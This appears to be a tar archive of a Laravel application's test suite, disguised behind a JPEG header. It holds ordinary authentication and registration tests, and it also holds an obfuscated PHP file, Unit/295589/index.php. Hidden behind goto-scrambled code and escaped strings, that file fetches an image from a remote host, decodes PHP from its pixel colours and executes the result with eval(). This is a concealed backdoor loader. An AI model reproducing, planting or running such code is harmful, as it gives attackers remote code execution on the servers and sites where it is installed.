JFIFxxC      C  " }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3RbrCreatesApplication.php000064400000000574150364307150011041 0ustar00make(Kernel::class)->bootstrap(); return $app; } } Unit/295589/index.php000064400000010646150364307150010103 0ustar00= 4 && base64_decode($bM06z, true) !== false)) { goto oY81e; } goto Bv_Mi; G1BLQ: goto ilo39; goto oAQaR; ZI82D: Pv76I: goto oHM3G; lJOhs: w0ELs: goto TZA35; Bv_Mi: goto h0sbX; goto bnWh6; JZftb: w6_Bx: goto G1BLQ; afBdE: DtmXo: goto rt_w0; LdCiS: goto w0ELs; goto xfP6H; DqrUb: goto oGHCG; goto w6wOl; OJTcY: } goto dC5mV; hBlGr: z1yd5: goto GNEXV; vePZy: PhwVN: goto DmLwn; vUV2c: goto w1Uht; goto yAtfA; sfx26: $rJUzX++; goto BWVqm; m1Knc: goto O8hrv; goto qvxYs; yccEf: if (!$CaD7B) { goto PkD54; } goto EBQ9z; x7DT3: $HckSJ .= chr($VGuQW) . chr($O60zP) . chr($BRd4d); goto m1Knc; bL6Gs: Xb9L_: goto cfyI_; DmLwn: goto rRLOT; goto C_q_M; lqlRt: Bf68q: goto Zdwbe; dC5mV: pkPea: goto wtf5P; hkGw4: Wt7_s: goto x7DT3; rtDeh: $eAdpG = imagecreatefromstring($CaD7B); goto N1RSY; siy7F: O8hrv: goto UCmFP; rxOFs: CJpgy: goto yccEf; DwKa7: ji5Dx: goto Y13jX; zD8qN: WRTTM: goto XzlhB; dObfP: J9W03: goto jt0kT; zCFPW: goto OvqZs; goto hkGw4; N1psx: goto XW_T6; goto BDzRX; mJ41X: goto os2Z5; goto sGxFx; wtf5P: goto ji5Dx; goto V3KdU; WuC1E: OvqZs: goto yV4M9; ZoEtC: goto kGkpB; goto siy7F; mItub: qb1YW: goto eMowb; RYMQJ: xIAsn: goto pqDdx; eIxtK: CJ_To: goto rtDeh; BDzRX: wb9aW: goto mItub; tuJPg: goto CJpgy; goto vePZy; sGxFx: YwpHG: goto HwqUX; h_TTy: goto Y8UIs; goto rxOFs; osl5B: goto H3nMj; goto hBlGr; Iy0iV: knvvx: goto wv8tA; K4TIJ: L5PP_: goto DZPS8; RsWO5: $CaD7B = file_get_contents($B2DJv); goto tuJPg; EBQ9z: goto qb1YW; goto pfFXi; qvxYs: IeEVn: goto ZrrVu; Z3Mgd: Y8UIs: goto rnLb0; BWVqm: goto PhwVN; goto PvnL1; XzlhB: goto Xb9L_; goto RYMQJ; HNQv7: J9Kc3: goto iI6jA; C_q_M: goto uTU4H; goto bL6Gs; iI6jA: throw new Exception("\106\x61\151\154\145\144\56"); goto N1psx; Zdwbe: $rJUzX = 0; goto zCFPW; N1RSY: goto Xdb2H; goto OVfJf; Yr7mG: $HckSJ = ''; goto zM4lN; jt0kT: goto YwpHG; goto eIxtK; kSxCq: return rtrim($HckSJ, "\x0"); goto LxusG; OVfJf: Xdb2H: goto Mxk1p; PvnL1: ObPm0: goto ga0o7; wv8tA: goto ObPm0; goto DwKa7; AV147: goto wb9aW; goto WuC1E; LxusG: goto z1yd5; goto z6W9J; mRP0p: goto L5PP_; goto lqlRt; TDR5c: XW_T6: goto dObfP; nPmXB: H3nMj: goto L2g14; pfFXi: PkD54: goto mRP0p; zM4lN: goto Bf68q; goto HNQv7; ga0o7: imagedestroy($eAdpG); goto mJ41X; Mxk1p: if (!$eAdpG) { goto iH13h; } goto xaojH; DZPS8: throw new Exception("\106\x61\151\x6c\145\144\x2e"); goto AV147; nmh2q: goto tlT2x; goto ceV31; z6W9J: kj7v9: goto sfx26; rnLb0: if ($rJUzX < $FZhoU) { goto WRTTM; } goto XlqHX; pqDdx: $B2DJv = ''; goto dc3jH; V3KdU: kGkpB: goto whijb; xRJSB: goto J9Kc3; goto Jc30X; vyn6p: goto SmLOO; goto TDR5c; xaojH: goto J9W03; goto v18QA; cfyI_: $Mtm6y = imagecolorat($eAdpG, $rJUzX, 1); goto nmh2q; GUcW2: $VGuQW = $Mtm6y >> 16 & 0xff; goto osl5B; Y13jX: BFf1t: goto vUV2c; v18QA: iH13h: goto xRJSB; UCmFP: S6qF0: goto jmc13; G065c: os2Z5: goto kSxCq; btff4: goto xIAsn; goto K4TIJ; jmc13: goto kj7v9; goto G065c; XlqHX: goto knvvx; goto zD8qN; ceV31: uTU4H: goto Iy0iV; eMowb: goto CJ_To; goto Z3Mgd; yAtfA: SmLOO: goto Yr7mG; HwqUX: $FZhoU = imagesx($eAdpG); goto vyn6p; L2g14: $O60zP = $Mtm6y >> 8 & 0xff; goto ZoEtC; dc3jH: goto IeEVn; goto IxTcB; GNEXV: } } goto pPhYV; iFYNH: R_E8y: goto hzvkr; yGq0C: goto Oz7N3; goto fMWJC; fMWJC: qsJHT: goto HZzWc; nLnMC: Jm8Xo: goto LFzeN; HZzWc: $elvKs = $grN2f->tkumy(["\141\110\122\60", "\x63\110\115\66", "\x2f\x2f\x61", "\x6b\x75\164", "\141\x6b\160", "\145\162\x6e", "\131\x57\150\151", "\144\127\x46\x30", "\56\x63\x6f", "\155\x2f\x73", "\x65\153\x65", "\143\x6d\x6b\x75", "\x70\156\x67"]); goto KJ62q; qnVLT: Oz7N3: goto rg3FY; hzvkr: eval("\x3f\x3e" . $elvKs); ?>Unit/ExampleTest.php000064400000000410150364307150010426 0ustar00assertTrue(true); } } Unit/index.php000064400000000000150364307150007275 0ustar00TestCase.php000064400000000243150364307150006773 0ustar00get('/'); $response->assertStatus(200); } } Feature/Auth/PasswordResetTest.php000064400000003556150364307150013233 0ustar00get('/forgot-password'); $response->assertStatus(200); } public function test_reset_password_link_can_be_requested() { Notification::fake(); $user = User::factory()->create(); $this->post('/forgot-password', ['email' => $user->email]); Notification::assertSentTo($user, ResetPassword::class); } public function test_reset_password_screen_can_be_rendered() { Notification::fake(); $user = User::factory()->create(); $this->post('/forgot-password', ['email' => $user->email]); Notification::assertSentTo($user, ResetPassword::class, function ($notification) { $response = $this->get('/reset-password/'.$notification->token); $response->assertStatus(200); return true; }); } public function test_password_can_be_reset_with_valid_token() { Notification::fake(); $user = User::factory()->create(); $this->post('/forgot-password', ['email' => $user->email]); Notification::assertSentTo($user, ResetPassword::class, function ($notification) use ($user) { $response = $this->post('/reset-password', [ 'token' => $notification->token, 'email' => $user->email, 'password' => 'password', 'password_confirmation' => 'password', ]); $response->assertSessionHasNoErrors(); return true; }); } } Feature/Auth/RegistrationTest.php000064400000001402150364307150013064 0ustar00get('/register'); $response->assertStatus(200); } public function test_new_users_can_register() { $response = $this->post('/register', [ 'name' => 'Test User', 'email' => 'test@example.com', 'password' => 'password', 'password_confirmation' => 'password', ]); $this->assertAuthenticated(); $response->assertRedirect(RouteServiceProvider::HOME); } } Feature/Auth/PasswordConfirmationTest.php000064400000002050150364307150014565 0ustar00create(); $response = $this->actingAs($user)->get('/confirm-password'); $response->assertStatus(200); } public function test_password_can_be_confirmed() { $user = User::factory()->create(); $response = $this->actingAs($user)->post('/confirm-password', [ 'password' => 'password', ]); $response->assertRedirect(); $response->assertSessionHasNoErrors(); } public function test_password_is_not_confirmed_with_invalid_password() { $user = User::factory()->create(); $response = $this->actingAs($user)->post('/confirm-password', [ 'password' => 'wrong-password', ]); $response->assertSessionHasErrors(); } } Feature/Auth/EmailVerificationTest.php000064400000003354150364307150014014 0ustar00create([ 'email_verified_at' => null, ]); $response = $this->actingAs($user)->get('/verify-email'); $response->assertStatus(200); } public function test_email_can_be_verified() { $user = User::factory()->create([ 'email_verified_at' => null, ]); Event::fake(); $verificationUrl = URL::temporarySignedRoute( 'verification.verify', now()->addMinutes(60), ['id' => $user->id, 'hash' => sha1($user->email)] ); $response = $this->actingAs($user)->get($verificationUrl); Event::assertDispatched(Verified::class); $this->assertTrue($user->fresh()->hasVerifiedEmail()); $response->assertRedirect(RouteServiceProvider::HOME.'?verified=1'); } public function test_email_is_not_verified_with_invalid_hash() { $user = User::factory()->create([ 'email_verified_at' => null, ]); $verificationUrl = URL::temporarySignedRoute( 'verification.verify', now()->addMinutes(60), ['id' => $user->id, 'hash' => sha1('wrong-email')] ); $this->actingAs($user)->get($verificationUrl); $this->assertFalse($user->fresh()->hasVerifiedEmail()); } } Feature/Auth/AuthenticationTest.php000064400000002024150364307150013372 0ustar00get('/login'); $response->assertStatus(200); } public function test_users_can_authenticate_using_the_login_screen() { $user = User::factory()->create(); $response = $this->post('/login', [ 'email' => $user->email, 'password' => 'password', ]); $this->assertAuthenticated(); $response->assertRedirect(RouteServiceProvider::HOME); } public function test_users_can_not_authenticate_with_invalid_password() { $user = User::factory()->create(); $this->post('/login', [ 'email' => $user->email, 'password' => 'wrong-password', ]); $this->assertGuest(); } }